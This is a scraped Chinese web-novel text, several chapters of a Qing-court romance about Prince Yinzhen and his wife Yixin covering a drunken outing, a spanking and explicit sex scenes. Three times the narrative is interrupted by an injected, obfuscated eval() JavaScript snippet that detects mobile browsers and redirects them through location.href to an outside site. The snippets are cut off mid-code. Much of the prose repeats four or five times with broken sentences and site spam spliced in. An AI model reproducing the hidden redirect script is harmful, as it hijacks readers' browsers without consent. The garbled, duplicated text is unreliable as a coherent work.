氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16452176|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 了,想不明白,晚上回去问王爷。 “没事,咱们先喝酒。”仪欣推给植宁一小杯桃花醉,轻轻跟她碰杯,“喝完这顿酒,让不高兴的事情都过去吧。” 植宁连连点头,双手捧着酒杯,一饮而尽。 仪欣看植宁喝得这么干脆,捧起酒杯也喝光,辣得眯眼睛,又继续倒上。 植宁觉得很有趣,斟满后感叹道:“桃花醉回甘甜甜的。” 王爷也这样说,仪欣想,王爷说桃花醉跟烧刀子比起来,淡的跟水一样,她怎么喝着还是很辣。 氛围很好,晴云惊奇发现窗外有些下雪,围炉煮酒,仪欣挽着植宁坐到窗边软榻上,两个人轻声叙话,温馨饮酒,没一会儿,仪欣觉得有点晕乎乎的。 一不小心碰翻酒壶,撒一地。 植宁赶紧检查仪欣有没有弄污衣襟,仪欣摆摆手,“没事,再来一壶!” 晴云低眉小声劝一句,“福晋,酒多伤身,王爷知道,怕是会不悦。” 搬出王爷来,总归能劝住吧。 仪欣不高兴,她还怕王爷不成?仪欣瞄一眼小良子,不管晴云的劝说,扬扬下巴,潜台词很明显,赶紧去拿酒呀。 小良子讪笑,只能遵命。 连洒带喝,三壶酒便见底了,植宁成亲后就出过两次府,心情也不愉快,仪欣抱着舍命陪君子的精神,依偎着植宁陪她说话。 植宁还是怀念未成亲的日子,颇为低落,“从前照春芳的伶人,想什么时候看就看了,如今怕是要遭人戳脊梁骨。” 仪欣醉得厉害,吸了吸鼻尖,一拍胸脯轻哼道:“没事的,有我在,伶人照常看,小曲照常听,没人敢为难你。” 胤禛抱胸倚着门框漫不经心捻佛珠,包厢里酒气冲天,她跟西林觉罗氏不知喝了多少,一脸痴态趴在窗前看雪聊男伶人二三事。 行,在外面要很多面子是吧,回家再说的。 第179章 妻管严?严管妻。 晴云和小良子急得差点跪下去苏培盛看着胤禛绷直的唇角冷冽的眼尾只觉得寒风呼呼作响吹得他的小命怪不安分的。 他急中生智喊一句:“哎呦王爷是福晋。” 仪欣又碰翻一壶酒猛得站起来起身太猛身形有些踉跄。 胤禛看她这心虚又醉醺醺的小模样心里来气还是上前两步把她搀扶站稳。 仪欣戳戳他的腰觉得站不稳赶紧搂紧他的腰“是王爷吗?” “嗯。”胤禛睫毛下垂着反问:“没看清是谁就敢抱?” 仪欣震惊心虚!坏了他听到了可能还听到很多! 她瞬间就记不清刚刚跟植宁说的什么话了。 植宁也心虚。 老天爷究竟是什么运气啊?!! 她跟雍亲王在春意楼约莫见过三次。 次次有惊喜。 第一次仪欣定亲之后她和仪欣跟莫雅琪和弘皙阿哥起了冲突 第二次仪欣遇上年氏大打出手当着雍亲王和年羹尧的面扇肿了年氏的脸。 第三次就是今天她她她她…她们在畅饮大放厥词比较照春芳哪个伶人更有姿色雍亲王不知听了多少。 照这样下去雍亲王怕是要对她有偏见还能让仪欣跟她玩吗? 没招了。 胤禛手臂环着仪欣牢牢稳住她瘫软乱晃的身子淡淡看向植宁“她喝了多少?” 植宁喝得更多一些毕竟是她在借酒消愁可是如今明显是她头脑更清醒她甚至觉得自己没醉仪欣反倒是不省人事了。 “约莫少半壶。”植宁跟胤禛说话极其紧张“仪…四福晋说她酒量很好经常跟王爷喝酒。” 完了她可能被富察仪欣做局了。 这也不像酒量好的…吧。 胤禛浅笑“嗯她酒量很好。” 嗯能喝他喝酒时她就图新鲜陪着喝两个小酒盅那么点酒沾沾唇而已。 竟是对外吹嘘起酒量好的事情富察仪欣做什么事没个分寸整日上房揭瓦就算了还不拿自己身子当回事。 看把她厉害的少半壶酒说喝就喝了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 拽过她威风凛凛的虎皮大氅,胤禛把仪欣裹得严严实实,尽量给仪欣面子,温和吩咐: “苏培盛,将植宁格格妥善送回佟佳府上,替本王给隆科多和西林觉罗氏备一份礼,就说植宁格格陪伴福晋有功,本王甚慰。” 植宁款款行礼恭送,四爷这是给她在佟佳府的脸面。 只是,四爷总是有种不怒自威的感觉,纵使还是温和淡笑,却让人不由自主去遵从他,畏惧他。 明明仪欣吹嘘四爷是妻管严,她怎么觉得四爷是“严管妻”呢? 马车上。 胤禛怒气沉沉压着不发,闭目养神,手中的佛珠重重捻着,像是磨牙一般嘎啦嘎啦响。 仪欣醉得厉害,摇摇晃晃坐在马车上不舒服,整个人乖乖地趴在他的腿上休息,轻轻喘着气,听着佛珠摩擦的声音,脊背凉飕飕抖一下。 “胤禛……”仪欣呢喃。 胤禛不答。 仪欣有意识,又心虚,叽叽喳喳唤他的名字,平时就话唠,如今更是滔滔不绝东扯西拽哄着胤禛理她。 胤禛仍旧闭目养神。 一直到回到雍亲王府正院,胤禛都没有说话。 仪欣哇哇吐了一次,又喝了醒酒汤,老老实实由宋太医请过平安脉,这才感觉好受一些。 宋太医只乐呵呵道无碍,头晕只是醉酒的正常反应,但是他还是斟酌着给福晋的药膳里调整一味药材,食补时不与酒劲相冲突。 若是他说,没有人比他更清楚四爷有多在意福晋身体的风吹草动。 能不耻下问,一遍遍跟他请教医术,借阅他的手记医书; 每次福晋泡药浴,等在汤池外跟他了解福晋身体状况,从不间断; 府上名贵药材流水般往活水汤池中扔,每年几万两白银搭在珍稀药材上,他提出需要什么药材,纵使太医院没有的,四爷也能如期寻来。 他提出的治疗方案,四爷能言之有物去跟他探讨,一点点去调整,偶尔能提出些建议。 其实,他投靠雍亲王,不仅仅是为了名和利,那种医术被真正看见尊重和信任的体验,以及雍亲王对病人的真正爱护。 纯粹地打动了他。 让他心甘情愿为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462481|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福晋的身体殚精竭虑,切实进行适合福晋的治疗。 宋太 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 医恭敬退出去。 仪欣重新沐浴更衣,折腾了一个多时辰,才觉得浑身酒气消散些。 她晕晕乎乎盘腿坐在床榻上,想睡觉又睡不着,觉得脑袋麻麻的,身上热热的,委屈巴巴说:“我不舒服,王爷。” 听她说难受,胤禛更是气恼她饮酒过量,不顾身体,熟练替她更衣,眼风一扫趴在软垫上呼呼睡大觉的小豆子。 胤禛冷声吩咐道:“把这只猫扔出去,一旬不许进正院。” 小太监立马进来,抱着小豆子小跑着离开。 懵懵然的小豆子:喵? 发生什么事了? 仪欣不甘心用衣袖抹一把眼泪:“王爷,为什么又把小豆子扔出去了?” 胤禛站在床边淡淡问:“不然呢?” 好凶。 仪欣哽咽,想抱抱他的腰,却被他退一步躲开。 她天塌了,因为,胤禛还是不跟她说话,但是会照顾她。 仪欣往床榻深处挪了挪,低着头先发制人小声说:“是不是我喝了一点酒,王爷就不喜欢我了?” 胤禛气笑,“哦?本王还以为,福晋喝了一点酒,就不认识谁才是你的夫君,就不打算回家了呢。” 到底是谁不喜欢谁了? “我没有!!!”仪欣理不直气也壮,“王爷真是没理搅三分!!” 胤禛闻言抿唇垂眼,似是十分委屈,缓缓后退一步,轻声反问道:“没有便没有吧,福晋吼我做什么呢?” 仪欣张了张口,局促搅了搅衣摆。 声音是不是真的有点大了? 胤禛可是朝堂腌入味的人,六部办差监察都游刃有余,根本不会任由仪欣牵着走。 三言两语就将主动权拿回自己手里,眯着眼睛控诉仪欣始乱终弃。 仪欣:我?始乱终弃吗? 有这回事吗?不就是谈论谈论俊男,跟朋友喝点酒吗? 上一秒,这是每个女孩子都应该正常享受的事情!她没错! 第180章 仪欣酒后 胤禛慢悠悠叹口气,揉了揉额角,失落站在寝殿里,沮丧叹口气:“算了。” 下一秒,仪欣眼睛红红的,慢吞吞爬下床榻抱住他的腰。 “我错了,我只喜欢胤禛,会永远都喜欢胤禛的。” 胤禛目光清明,唇角微勾,俯身无意间问:“什么?没听清。” 仪欣固执拉着胤禛坐到床边,趴在他的腿上,一遍遍小声重复,明明只喜欢王爷。 胤禛曲着一条腿,肆意揉了揉她的屁股。 仪欣霎时有些紧张,视死如归般紧闭眼睛。 胤禛看着她的反应闷闷低笑,提着她趴到自己身上,偏头亲了亲她的小耳朵,在耳边轻声问:“想被揍屁股吗,乖乖?” 仪欣紧张兮兮:“不知道。” 胤禛稍稍思忖,“不知道就是想,可以自己乖乖趴好吗?” 仪欣轻抖,被衾蒙着头,还是严严实实趴在胤禛腿上。 胤禛垂着眼慢条斯理将她的寝衣揉皱,揉的过程中最难熬,那种不知道什么时候会有巴掌落下的滋味,最紧张。 仪欣满脑子乱七八糟飞过许多东西,什么不敢了不敢了,还有她怎么莫名其妙趴好了,还有王爷是不是又忽悠她,但是她真的觉得王爷好委屈。 “啊…!” 仪欣痛呼出声。 胤禛替她揉了揉,一只手微微捂住她的嘴巴,没什么规律地把她的屁股染成淡淡的胭脂色。 他会随时观察着她的反应,时刻心里有数,不会超过她的度。 “唔…唔…” 一下一哼唧,撒娇似的,胤禛差点没忍住。 打完,胤禛严肃反问:“错哪里了?” 仪欣趴在床榻上不动弹,超小声承认:“伶人。” “还有呢?” “没了。” 胤禛气笑,“没了?你坐起来,看着本王说话。” 仪欣慢慢坐起来,趴到胤禛身上,委屈说:“真的没了。” 胤禛温柔亲吻着安抚她,等到她平静一点再讲道理,“最重要的事并不是伶人,是你的身体,你的身体最重要。” “你喝过这么多酒吗?在外面就敢灌大半壶酒?知不知道喝醉会不舒服?你喝着很多汤药还有药浴 ,药材和清酒相生相克是多么危险的事情,怎么能把自己当儿戏?” “本王若是晚点到,难不成要无法无天了吗?” 仪欣呆愣抬头,主动认错,扎到怀里就是不起来,“我是因为喝过桃花醉,才喝的。” 胤禛半晌吐出个“嗯”字。 整日在她身上操多少心,谨小慎微生怕照顾不好她,可她呢?时不时就胡闹一圈,嬉皮笑脸地鬼混回来了。 他肯定是有问题的,若是不盲目夸赞她酒量好,怎么会有今日之事? “以后你想做什么事,先跟我讲,我陪你做一遍,你日后就算再做这件事也有个分寸尺度,这样行吗?”胤禛问。 “行。” 仪欣说不出什么感觉,就是一丁点小事都会被妥善解决,又让她觉得,她的人生里没有什么难过的大事。 “胤禛最好。” “嗯。”胤禛搂紧她。 “我现在就有一个想尝试的事情。” 胤禛蹙眉:“什么?” “我想尝一尝王爷提过的烧刀子。” “………” 胤禛:“想起一出来是一出。” 仪欣睡过一觉后,天已经黑了。 胤禛坐在窗前煮酒,身后是软榻和飞鸟鸾凤的屏风,仪欣趴在屏风前的软榻上,托腮看着酒罐里冒着的泡泡。 他的动作矜贵优雅,烧刀子的味道不好闻,比不得桃花醉的淡淡花香。 煮过的酒不易醉人,只是空气中弥漫着酒的气息。 窗外在下雪,冬日天黑的早,天上一弯明月,月影落窗沿,很温柔又很轻。 晚膳直接送来了寝殿,有仪欣最近最爱吃的蛋羹,还有几个清淡的小菜以及仪欣的药膳花粥。 胤禛温了一壶烧刀子,他不常喝这种酒,主要是苦涩且凛冽,让人无端想起边塞的寒风。 仪欣却很期待,她对一切未知的东西都有活力满满的好奇心。 “给,先尝一点。” 胤禛推给她一个小酒盅。 仪欣坐到胤禛身边,双手捏着小酒盅,对着胤禛眨巴着漂亮的眼睛。 胤禛轻轻笑,给自己斟满酒,轻碰她的酒盅,叹道:“好了,喝吧,记录仪欣第一次喝烧刀子。 ” 仪欣兴奋期待喝下去,直接触发痛苦面具,漱口茶不在手边,她喉咙火辣辣烫,感觉烧刀子的酒味又往她鼻腔里钻,她含着咽不下去,求助拉扯胤禛的衣裳。 胤禛手掌托着她的脑袋,低头吻上去,将让她痛苦的烧刀子渡过来。 喉结轻滚,缓缓咽下。 今日的烧刀子不苦涩也不冷冽,反而有种桃花醉的甜腻感,让人无端想到春暖花开,万物峥嵘。 “咳咳咳…” “好了,体验过了?不好奇了?” 仪欣拒绝:“难喝!” 胤禛笑,将药膳端给她,半搂半抱着她自酌自饮,弯唇赏雪。 一壶酒见底,胤禛没什么感觉。 仪欣纳闷:“又辣又苦,王爷怎么喝下去眉头也不皱?我再喝一下试试。” 胤禛无奈看她,任由她偷腥似的碰了碰他唇角的酒珠,他眸色幽深看她一眼,心里火气未消,身上燥热感又如野火燎原。 俯身抱起她往床榻走。 “仪欣,还是想罚你,可以吗?” 仪欣:“?” “王爷…要怎么罚…” 有些人就是很过分啊,明明已经将人堵到了穷途末路悬崖边上,却偏偏要温柔问一句“可以吗”。 白皙的皮肤,高挺的鼻梁。 微翘的狐狸眼和微眯的桃花眼同时带着欲拒还休的意味。 仪欣浑身粉红,唇珠亲得有些红肿,染着橘红色蔻丹的指尖楚楚可怜搅着寝衣下摆,娇媚而不自知望着胤禛。 睨眼,微勾手指,胸膛锁骨若隐若现,胤禛状似无意解开寝衣,随意点了点胸膛某处。 仪欣嗫嚅着嘴巴,蹭过去含着。 “怎么会有这么难管的小孩子,打不得骂不得,罚的时候也要哄着?” 仪欣磨了磨牙:“因为我是你的妻子,不是小孩子。” “好,是本王的妻子。” 胤禛捏住她的下巴,手指伸进去慢慢磨她的牙齿,伶牙俐齿在哪里,怎么这般能说会道? ” 仪欣兴奋期待喝下去,直接触发痛苦面具,漱口茶不在手边,她喉咙火辣辣烫,感觉烧刀子的酒味又往她鼻腔里钻,她含着咽不下去,求助拉扯胤禛的衣裳。 胤禛手掌托着她的脑袋,低头吻上去,将让她痛苦的烧刀子渡过来。 喉结轻滚,缓缓咽下。 今日的烧刀子不苦涩也不冷冽,反而有种桃花醉的甜腻感,让人无端想到春暖花开,万物峥嵘。 “咳咳咳…” “好了,体验过了?不好奇了?” 仪欣拒绝:“难喝!” 胤禛笑,将药膳端给她,半搂半抱着她自酌自饮,弯唇赏雪。 一壶酒见底,胤禛没什么感觉。 仪欣纳闷:“又辣又苦,王爷怎么喝下去眉头也不皱?我再喝一下试试。” 胤禛无奈看她,任由她偷腥似的碰了碰他唇角的酒珠,他眸色幽深看她一眼,心里火气未消,身上燥热感又如野火燎原。 俯身抱起她往床榻走。 “仪欣,还是想罚你,可以吗?” 仪欣:“?” “王爷…要怎么罚…” 有些人就是很过分啊,明明已经将人堵到了穷途末路悬崖边上,却偏偏要温柔问一句“可以吗”。 白皙的皮肤,高挺的鼻梁。 微翘的狐狸眼和微眯的桃花眼同时带着欲拒还休的意味。 仪欣浑身粉红,唇珠亲得有些红肿,染着橘红色蔻丹的指尖楚楚可怜搅着寝衣下摆,娇媚而不自知望着胤禛。 睨眼,微勾手指,胸膛锁骨若隐若现,胤禛状似无意解开寝衣,随意点了点胸膛某处。 仪欣嗫嚅着嘴巴,蹭过去含着。 “怎么会有这么难管的小孩子,打不得骂不得,罚的时候也要哄着?” 仪欣磨了磨牙:“因为我是你的妻子,不是小孩子。” “好,是本王的妻子。” 胤禛捏住她的下巴,手指伸进去慢慢磨她的牙齿,伶牙俐齿在哪里,怎么这般能说会道? ” 仪欣兴奋期待喝下去,直接触发痛苦面具,漱口茶不在手边,她喉咙火辣辣烫,感觉烧刀子的酒味又往她鼻腔里钻,她含着咽不下去,求助拉扯胤禛的衣裳。 胤禛手掌托着她的脑袋,低头吻上去,将让她痛苦的烧刀子渡过来。 喉结轻滚,缓缓咽下。 今日的烧刀子不苦涩也不冷冽,反而有种桃花醉的甜腻感,让人无端想到春暖花开,万物峥嵘。 “咳咳咳…” “好了,体验过了?不好奇了?” 仪欣拒绝:“难喝!” 胤禛笑,将药膳端给她,半搂半抱着她自酌自饮,弯唇赏雪。 一壶酒见底,胤禛没什么感觉。 仪欣纳闷:“又辣又苦,王爷怎么喝下去眉头也不皱?我再喝一下试试。” 胤禛无奈看她,任由她偷腥似的碰了碰他唇角的酒珠,他眸色幽深看她一眼,心里火气未消,身上燥热感又如野火燎原。 俯身抱起她往床榻走。 “仪欣,还是想罚你,可以吗?” 仪欣:“?” “王爷…要怎么罚…” 有些人就是很过分啊,明明已经将人堵到了穷途末路悬崖边上,却偏偏要温柔问一句“可以吗”。 白皙的皮肤,高挺的鼻梁。 微翘的狐狸眼和微眯的桃花眼同时带着欲拒还休的意味。 仪欣浑身粉红,唇珠亲得有些红肿,染着橘红色蔻丹的指尖楚楚可怜搅着寝衣下摆,娇媚而不自知望着胤禛。 睨眼,微勾手指,胸膛锁骨若隐若现,胤禛状似无意解开寝衣,随意点了点胸膛某处。 仪欣嗫嚅着嘴巴,蹭过去含着。 “怎么会有这么难管的小孩子,打不得骂不得,罚的时候也要哄着?” 仪欣磨了磨牙:“因为我是你的妻子,不是小孩子。” “好,是本王的妻子。” 胤禛捏住她的下巴,手指伸进去慢慢磨她的牙齿,伶牙俐齿在哪里,怎么这般能说会道? ” 仪欣兴奋期待喝下去,直接触发痛苦面具,漱口茶不在手边,她喉咙火辣辣烫,感觉烧刀子的酒味又往她鼻腔里钻,她含着咽不下去,求助拉扯胤禛的衣裳。 胤禛手掌托着她的脑袋,低头吻上去,将让她痛苦的烧刀子渡过来。 喉结轻滚,缓缓咽下。 今日的烧刀子不苦涩也不冷冽,反而有种桃花醉的甜腻感,让人无端想到春暖花开,万物峥嵘。 “咳咳咳…” “好了,体验过了?不好奇了?” 仪欣拒绝:“难喝!” 胤禛笑,将药膳端给她,半搂半抱着她自酌自饮,弯唇赏雪。 一壶酒见底,胤禛没什么感觉。 仪欣纳闷:“又辣又苦,王爷怎么喝下去眉头也不皱?我再喝一下试试。” 胤禛无奈看她,任由她偷腥似的碰了碰他唇角的酒珠,他眸色幽深看她一眼,心里火气未消,身上燥热感又如野火燎原。 俯身抱起她往床榻走。 “仪欣,还是想罚你,可以吗?” 仪欣:“?” “王爷…要怎么罚…” 有些人就是很过分啊,明明已经将人堵到了穷途末路悬崖边上,却偏偏要温柔问一句“可以吗”。 白皙的皮肤,高挺的鼻梁。 微翘的狐狸眼和微眯的桃花眼同时带着欲拒还休的意味。 仪欣浑身粉红,唇珠亲得有些红肿,染着橘红色蔻丹的指尖楚楚可怜搅着寝衣下摆,娇媚而不自知望着胤禛。 睨眼,微勾手指,胸膛锁骨若隐若现,胤禛状似无意解开寝衣,随意点了点胸膛某处。 仪欣嗫嚅着嘴巴,蹭过去含着。 “怎么会有这么难管的小孩子,打不得骂不得,罚的时候也要哄着?” 仪欣磨了磨牙:“因为我是你的妻子,不是小孩子。” “好,是本王的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仪欣兴奋期待喝下去,直接触发痛苦面具,漱口茶不在手边,她喉咙火辣辣烫,感觉烧刀子的酒味又往她鼻腔里钻,她含着咽不下去,求助拉扯胤禛的衣裳。 胤禛手掌托着她的脑袋,低头吻上去,将让她痛苦的烧刀子渡过来。 喉结轻滚,缓缓咽下。 今日的烧刀子不苦涩也不冷冽,反而有种桃花醉的甜腻感,让人无端想到春暖花开,万物峥嵘。 “咳咳咳…” “好了,体验过了?不好奇了?” 仪欣拒绝:“难喝!” 胤禛笑,将药膳端给她,半搂半抱着她自酌自饮,弯唇赏雪。 一壶酒见底,胤禛没什么感觉。 仪欣纳闷:“又辣又苦,王爷怎么喝下去眉头也不皱?我再喝一下试试。” 胤禛无奈看她,任由她偷腥似的碰了碰他唇角的酒珠,他眸色幽深看她一眼,心里火气未消,身上燥热感又如野火燎原。 俯身抱起她往床榻走。 “仪欣,还是想罚你,可以吗?” 仪欣:“?” “王爷…要怎么罚…” 有些人就是很过分啊,明明已经将人堵到了穷途末路悬崖边上,却偏偏要温柔问一句“可以吗”。 白皙的皮肤,高挺的鼻梁。 微翘的狐狸眼和微眯的桃花眼同时带着欲拒还休的意味。 仪欣浑身粉红,唇珠亲得有些红肿,染着橘红色蔻丹的指尖楚楚可怜搅着寝衣下摆,娇媚而不自知望着胤禛。 睨眼,微勾手指,胸膛锁骨若隐若现,胤禛状似无意解开寝衣,随意点了点胸膛某处。 仪欣嗫嚅着嘴巴,蹭过去含着。 “怎么会有这么难管的小孩子,打不得骂不得,罚的时候也要哄着?” 仪欣磨了磨牙:“因为我是你的妻子,不是小孩子。” “好,是本王的妻子。” 胤禛捏住她的下巴,手指伸进去慢慢磨她的牙齿,伶牙俐齿在哪里,怎么这般能说会道? ” 仪欣兴奋期待喝下去,直接触发痛苦面具,漱口茶不在手边,她喉咙火辣辣烫,感觉烧刀子的酒味又往她鼻腔里钻,她含着咽不下去,求助拉扯胤禛的衣裳。 胤禛手掌托着她的脑袋,低头吻上去,将让她痛苦的烧刀子渡过来。 喉结轻滚,缓缓咽下。 今日的烧刀子不苦涩也不冷冽,反而有种桃花醉的甜腻感,让人无端想到春暖花开,万物峥嵘。 “咳咳咳…” “好了,体验过了?不好奇了?” 仪欣拒绝:“难喝!” 胤禛笑,将药膳端给她,半搂半抱着她自酌自饮,弯唇赏雪。 一壶酒见底,胤禛没什么感觉。 仪欣纳闷:“又辣又苦,王爷怎么喝下去眉头也不皱?我再喝一下试试。” 胤禛无奈看她,任由她偷腥似的碰了碰他唇角的酒珠,他眸色幽深看她一眼,心里火气未消,身上燥热感又如野火燎原。 俯身抱起她往床榻走。 “仪欣,还是想罚你,可以吗?” 仪欣:“?” “王爷…要怎么罚…” 有些人就是很过分啊,明明已经将人堵到了穷途末路悬崖边上,却偏偏要温柔问一句“可以吗”。 白皙的皮肤,高挺的鼻梁。 微翘的狐狸眼和微眯的桃花眼同时带着欲拒还休的意味。 仪欣浑身粉红,唇珠亲得有些红肿,染着橘红色蔻丹的指尖楚楚可怜搅着寝衣下摆,娇媚而不自知望着胤禛。 睨眼,微勾手指,胸膛锁骨若隐若现,胤禛状似无意解开寝衣,随意点了点胸膛某处。 仪欣嗫嚅着嘴巴,蹭过去含着。 “怎么会有这么难管的小孩子,打不得骂不得,罚的时候也要哄着?” 仪欣磨了磨牙:“因为我是你的妻子,不是小孩子。” “好,是本王的妻子。” 胤禛捏住她的下巴,手指伸进去慢慢磨她的牙齿,伶牙俐齿在哪里,怎么这般能说会道? 第181章 控 仪欣下午醉酒,又是吐又是睡觉,晚上精神的如同小牛犊子一般,虎视眈眈看着胤禛,牙齿松松紧紧咬他的手指关节,印下一个个记号。 胤禛闭着眼睛感知那酥麻的痛感,想着若是她咬别处,可能又会有很大不同,他其实很重欲,但是不得不掌控分寸,一直迁就着带她玩,自己隐忍着,反倒是显得她更贪多。 其实不然。 “乖乖,叫出声,我喜欢。 仪欣蔫哒哒问:“为什么王爷只在床榻上,做这种事的时候,才叫乖乖? 胤禛一愣,低低笑出声来,胸膛微微喘着,停下动作来,把她安安稳稳抱着。 为什么? 因为他.闷骚,好多次想脱口而出,又咽下去。 床下有外人总是严肃庄重的。 乖乖因为这个失落了吗? “有一点点失落。 仪欣安慰自己,心安理得轻咬他的胸膛,小声解释说,“因为我小时候,阿玛额娘怕我养不活,一直没有取名字,都叫小九,可是我喜欢有专属自己的名字。 胤禛低头亲她的脑袋,温热的手掌顺**似的轻抚她的脑瓜,心里温温软软的,“明白了,我只有仪欣一个小乖。 仪欣兴奋磨了磨牙,胤禛闷吭,拍了她的屁股一巴掌,仪欣捂住屁股松开牙齿,往他怀里钻,胤禛捏着她的后颈将仪欣提上来,哑着嗓子说: “今晚轻轻地做一次,乖乖的。 仪欣日上三竿才起来床。 昨夜某人说轻轻做一次,却是怎么都不肯给她,任由她哼哼唧唧扭来扭去,央求着说他爱听的话,才肯喂她一口,然后周而复始,再说再喂。 结束一次,还有一次。 紧接着,她泪眼朦胧哼哼唧唧,胤禛置若罔闻无辜问她乱动什么,戴着玉扳指的拇指一直轻哄她最怕痒的点,快到了,又突然不动了。 她频频失神,脑袋里还想着一件重要的事情要问胤禛,却被他一次次搞得委屈央求,不记得什么了。 她这才明白胤禛口中的罚,真的是长记性。 啊啊啊啊王爷上辈子肯定是和尚,不然她怎么使劲亲使劲撒娇,就是吃不饱饭呢呜呜呜呜。 